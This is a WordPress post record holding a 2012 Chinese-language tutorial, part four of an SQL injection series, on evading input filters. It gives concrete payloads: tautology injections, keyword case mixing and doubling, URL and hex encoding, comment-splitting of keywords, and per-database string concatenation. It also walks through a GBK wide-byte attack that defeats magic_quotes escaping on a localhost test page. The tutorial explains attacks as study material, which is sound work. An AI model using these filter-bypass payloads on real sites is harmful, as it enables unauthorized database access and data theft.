{"id":157,"date":"2012-08-27T22:18:52","date_gmt":"2012-08-27T14:18:52","guid":{"rendered":"http:\/\/www.yeetrack.com\/?p=65"},"modified":"2013-04-20T17:34:57","modified_gmt":"2013-04-20T09:34:57","slug":"sql%e6%b3%a8%e5%85%a5%e8%a7%a3%e6%9e%90%ef%bc%88%e5%9b%9b%ef%bc%89%e9%81%bf%e5%bc%80%e8%bf%87%e6%bb%a4","status":"publish","type":"post","link":"https:\/\/www.yeetrack.com\/?p=157","title":{"rendered":"sql\u6ce8\u5165\u89e3\u6790\uff08\u56db\uff09\u907f\u5f00\u8fc7\u6ee4"},"content":{"rendered":"<p>web\u5e94\u7528\u7a0b\u5e8f\u4f1a\u5bf9\u7528\u6237\u7684\u8f93\u5165\u8fdb\u884c\u9a8c\u8bc1\uff0c\u8fc7\u6ee4\u5176\u4e2d\u7684\u4e00\u4e9b\u5173\u952e\u5b57\uff0c\u8fd9\u79cd\u8fc7\u6ee4\u6211\u4eec\u53ef\u4ee5\u8bd5\u7740\u7528\u4e0b\u9762\u7684\u65b9\u6cd5\u907f\u5f00\u3002<!--more--><br \/>1\u3001 \u4e0d\u4f7f\u7528\u88ab\u8fc7\u6ee4\u7684\u5b57\u7b26\uff1a \u6bd4\u5982\u6ce8\u5165\u4e00\u4e2a\u6570\u5b57\u6570\u636e\uff0c\u5c31\u4e0d\u9700\u8981\u4f7f\u7528\u5355\u5f15\u53f7\uff1b' or 1=1--\uff0c\u5982\u679c\u6ce8\u91ca\u5b57\u7b26\u88ab\u8fc7\u6ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u5199 ' or '1'='1 \u3002<br \/>2\u3001 \u907f\u514d\u4f7f\u7528\u7b80\u5355\u786e\u8ba4\uff1a \u5982\u679cselect\u5173\u952e\u5b57\u88ab\u8fc7\u6ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u7528\u4e0b\u9762\u7684\u65b9\u6cd5\u4e66\u5199select\uff0cSeleCT; selselectect;\u6216\u8005\u4f7f\u7528URLencode\uff0cascii\u7f16\u7801\uff0c%53%45%4c%45%43%54(ascii).<br \/>3\u3001 \u4f7f\u7528sql\u6ce8\u91ca\u7ed5\u8fc7\uff1a \u5982\u679c\u7a7a\u683c\u88ab\u8fc7\u6ee4\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528sql\u8bed\u8a00\u7684\u6ce8\u91ca\u3002select\/**\/username,password\/**\/from\/**\/user--, mysql\u4e2d\u751a\u81f3\u53ef\u4ee5\u8fd9\u6837 sele\/**\/ct username fr\/**\/om user--.<br \/>4\u3001 \u66ff\u6362\u88ab\u963b\u6b62\u7684\u5b57\u7b26\u4e32\uff1a \u8981\u8868\u793aadmin\uff0coracle\u4e2d\u53ef\u4ee5\u7528 'adm'||'in' , &nbsp;mysql\u4e2d\u53ef\u4ee5\u7528 concat('adm','in'); mssql\u4e2d\u53ef\u4ee5\u7528\uff1a'adm'+'in'.<br \/>\u6570\u636e\u5e93\u8bed\u6cd5\u4e2d\u6709\u5f88\u591a\u5b57\u7b26\u4e32\u64cd\u4f5c\u51fd\u6570\uff0c\u53ef\u4ee5\u7528\u6765\u521b\u5efa\u88ab\u8fc7\u6ee4\u7684\u5b57\u7b26\u4e32\u3002Oracle\u4e2d\u5305\u542b\uff0cCHR\uff08ascii\u7801\u8f6c\u5316\uff09\u3001REVERSE\uff08\u5b57\u7b26\u4e32\u53cd\u8f6c\uff09,TRANSLATE\uff08\u9ad8\u7ea7\u7684\u5b57\u7b26\u4e32\u66ff\u6362\uff09,REPLACE,SUBSTR\u51fd\u6570\u3002<br \/>mssql\u6570\u636e\u5e93\u53ef\u4ee5\u4f7f\u7528 exec('select * from user'), \u8fd9\u6761\u547d\u4ee4\u53ef\u4ee5\u53d8\u5f62\u4e3a exec('sele'+'ct * from user) ,\u8fd8\u53ef\u4ee5\u5efa\u7acb\u4e00\u4e2a\u5341\u516d\u8fdb\u5236\u7684\u7f16\u7801\u7684\u5b57\u7b26\u4e32\uff0c\u901a\u8fc7exec\u6765\u6267\u884c\uff0c\u4ece\u800c\u907f\u5f00\u67d0\u4e9b\u5173\u952e\u5b57\u751a\u81f3\u662f\u5355\u5f15\u53f7\u7684\u8fc7\u6ee4\u3002\u5982\uff1adeclear @q varchar(5000); select @q=0x73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .<br \/>\u53e6\u5916\u5982\u679c\u7f51\u7ad9\u662fgbk\u7f16\u7801\u7684\uff0c\u4e5f\u53ef\u4ee5\u5229\u7528\u6c49\u5b57\u7684\u7f16\u7801\u907f\u5f00\u6ce8\u5165\uff1a<br \/>\u5728magic_quotes_gpc=On\u7684\u60c5\u51b5\u4e0b\uff0c\u63d0\u4ea4\u7684\u53c2\u6570\u4e2d\u5982\u679c\u5e26\u6709\u5355\u5f15\u53f7\u2019\uff0c\u5c31\u4f1a\u88ab\u81ea\u52a8\u8f6c\u4e49\u2019\uff0c\u4f7f\u5f88\u591a\u6ce8\u5165\u653b\u51fb\u65e0\u6548\uff0c<br \/>GBK\u53cc\u5b57\u8282\u7f16\u7801\uff1a\u4e00\u4e2a\u6c49\u5b57\u7528\u4e24\u4e2a\u5b57\u8282\u8868\u793a\uff0c\u9996\u5b57\u8282\u5bf9\u5e940&times;81-0xFE\uff0c\u5c3e\u5b57\u8282\u5bf9\u5e940&times;40-0xFE\uff08\u96640&times;7F\uff09\uff0c\u521a\u597d\u6db5\u76d6\u4e86\u8f6c\u4e49\u7b26\u53f7\u5bf9\u5e94\u7684\u7f16\u78010&times;5C\u3002<br \/>0xD50&times;5C \u5bf9\u5e94\u4e86\u6c49\u5b57\u201c\u8bda\u201d\uff0cURL\u7f16\u7801\u7528\u767e\u5206\u53f7\u52a0\u5b57\u7b26\u768416\u8fdb\u5236\u7f16\u7801\u8868\u793a\u5b57\u7b26\uff0c\u4e8e\u662f %d5%5c \u7ecfURL\u89e3\u7801\u540e\u4e3a\u201c\u8bda\u201d\u3002<br \/>\u4e0b\u9762\u5206\u6790\u653b\u51fb\u8fc7\u7a0b\uff1a<br \/>\u8bbf\u95ee http:\/\/localhost\/test.php?username=test%d5\u2032%20or%201=1%23&amp;pwd=test<br \/>\u7ecf\u8fc7\u6d4f\u89c8\u5668\u7f16\u7801\uff0cusername\u53c2\u6570\u503c\u4e3a(\u5355\u5f15\u53f7\u7684\u7f16\u78010&times;27)<br \/>username=test%d5%27%20or%201=1%23<br \/>\u7ecf\u8fc7php\u7684url\u89e3\u7801<br \/>username=test 0xd5 0&times;27 0&times;20 or 0&times;20 1=1 0&times;23 (\u4e3a\u4e86\u4fbf\u4e8e\u9605\u8bfb\uff0c\u5728\u5b57\u7b26\u4e32\u4e0e16\u8fdb\u5236\u7f16\u7801\u4e4b\u95f4\u52a0\u4e86\u7a7a\u683c)<br \/>\u7ecf\u8fc7PHP\u7684GPC\u81ea\u52a8\u8f6c\u4e49\u53d8\u6210(\u5355\u5f15\u53f70&times;27\u88ab\u8f6c\u4e49\u6210\u2019\u5bf9\u5e94\u7684\u7f16\u78010&times;5c0&times;27)\uff1a<br \/>username=test 0xd5 0&times;5c 0&times;27 0&times;20 or 0&times;20 1=1 0&times;23<br \/>\u56e0\u4e3a\u5728\u6570\u636e\u5e93\u521d\u59cb\u5316\u8fde\u63a5\u7684\u65f6\u5019SET NAMES \u2018gbk\u2019\uff0c0xd50&times;5c\u89e3\u7801\u540e\u4e3a\u8bda\uff0c0&times;27\u89e3\u7801\u4e3a\u2019\uff0c0&times;20\u4e3a\u7a7a\u683c\uff0c0&times;23\u4e3amysql\u7684\u6ce8\u91ca\u7b26#<br \/>\u4e0a\u9762\u7684SQL\u8bed\u53e5\u6700\u7ec8\u4e3a\uff1a SELECT * FROM user WHERE username=\u2019test\u8bda\u2019 or 1=1#\u2019 and password=\u2019test\u2019;<br \/>\u6ce8\u91ca\u7b26#\u540e\u9762\u7684\u5b57\u7b26\u4e32\u5df2\u7ecf\u65e0\u6548\uff0c\u7b49\u4ef7\u4e8e<br \/>SELECT * FROM user WHERE username=\u2019test\u8bda\u2019 or 1=1;<br \/>\u6761\u4ef6\u53d8\u6210\u6c38\u771f\uff0c\u6210\u529f\u6ce8\u5165\u3002<br \/>\u8865\u5145\uff1a<br \/>0xD50&times;5C\u4e0d\u662f\u552f\u4e00\u53ef\u4ee5\u7ed5\u8fc7\u5355\u5f15\u53f7\u8f6c\u4e49\u7684\u5b57\u7b26\uff0c0&times;81-0xFE\u5f00\u5934+0&times;5C\u7684\u5b57\u7b26\u5e94\u8be5\u90fd\u53ef\u4ee5\uff1b<br \/>\u6839\u636eutf8\u7684\u7f16\u7801\u8303\u56f4\uff0c\u65e0\u6b64\u95ee\u9898\uff1b<br \/>\u8fd9\u79cd\u53d8\u6362\u5728xss\u7b49\u9886\u57df\u4e5f\u53ef\u4ee5\u5e94\u7528\uff0c\u5047\u5982\u670d\u52a1\u7aef\u662fGBK\u7f16\u7801\u683c\u5f0f\u3002<br \/>\u6458\u81ea\uff1ahttp:\/\/dzxx.sinaapp.com\/archives\/34\/<br \/>\u672c\u6587\u662f\u7531<a title=\"youthflies\" href=\"https:\/\/www.yeetrack.com\">youthflies<\/a>\u53d1\u8868\u5728<a title=\"yeetrack.com\" href=\"https:\/\/www.yeetrack.com\">\u6613\u8e2a\u7f51(yeetrack.com)<\/a>\u4e0a\u7684\u539f\u521b\u6587\u7ae0\uff0c\u539f\u6587\u5730\u5740\u4e3a\uff1a<a title=\"sql\u6ce8\u5165\u89e3\u6790\uff08\u56db\uff09\u907f\u5f00\u8fc7\u6ee4\" href=\"https:\/\/www.yeetrack.com\/?p=65\">https:\/\/www.yeetrack.com\/?p=65<\/a><\/p>\n<h1><a title=\"sql\u6ce8\u5165\u89e3\u6790\uff08\u4e00\uff09\u57fa\u672c\u8bed\u6cd5\" href=\"https:\/\/www.yeetrack.com\/?p=20\">sql\u6ce8\u5165\u89e3\u6790\uff08\u4e00\uff09\u57fa\u672c\u8bed\u6cd5<\/a><\/h1>\n<p>&nbsp;<\/p>\n<h1><a title=\"sql\u6ce8\u5165\u89e3\u6790\uff08\u4e8c\uff09\u6267\u884c\u6ce8\u5165\" href=\"https:\/\/www.yeetrack.com\/?p=25\">sql\u6ce8\u5165\u89e3\u6790\uff08\u4e8c\uff09\u6267\u884c\u6ce8\u5165<\/a><\/h1>\n<p>&nbsp;<\/p>\n<h1><a title=\"sql\u6ce8\u5165\u89e3\u6790\uff08\u4e09\uff09\u6570\u636e\u5e93\u7c7b\u578b\" href=\"https:\/\/www.yeetrack.com\/?p=57\">sql\u6ce8\u5165\u89e3\u6790\uff08\u4e09\uff09\u6570\u636e\u5e93\u7c7b\u578b<\/a><\/h1>\n<p>&nbsp;<\/p>\n<h1><a title=\"sql\u6ce8\u5165\u89e3\u6790\uff08\u56db\uff09\u907f\u5f00\u8fc7\u6ee4\" href=\"https:\/\/www.yeetrack.com\/?p=65\">sql\u6ce8\u5165\u89e3\u6790\uff08\u56db\uff09\u907f\u5f00\u8fc7\u6ee4<\/a><\/h1>\n","protected":false},"excerpt":{"rendered":"<p>web\u5e94\u7528\u7a0b\u5e8f\u4f1a\u5bf9\u7528\u6237\u7684\u8f93\u5165\u8fdb\u884c\u9a8c\u8bc1\uff0c\u8fc7\u6ee4\u5176\u4e2d\u7684\u4e00\u4e9b\u5173\u952e\u5b57\uff0c\u8fd9\u79cd\u8fc7\u6ee4\u6211\u4eec\u53ef\u4ee5\u8bd5\u7740\u7528\u4e0b\u9762\u7684\u65b9\u6cd5\u907f\u5f00\u3002<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"pgc_sgb_lightbox_settings":"","footnotes":""},"categories":[35],"tags":[31,26],"class_list":["post-157","post","type-post","status-publish","format-standard","hentry","category-hacking","tag-sql","tag-26"],"views":5488,"_links":{"self":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=157"}],"version-history":[{"count":2,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/157\/revisions"}],"predecessor-version":[{"id":470,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/157\/revisions\/470"}],"wp:attachment":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}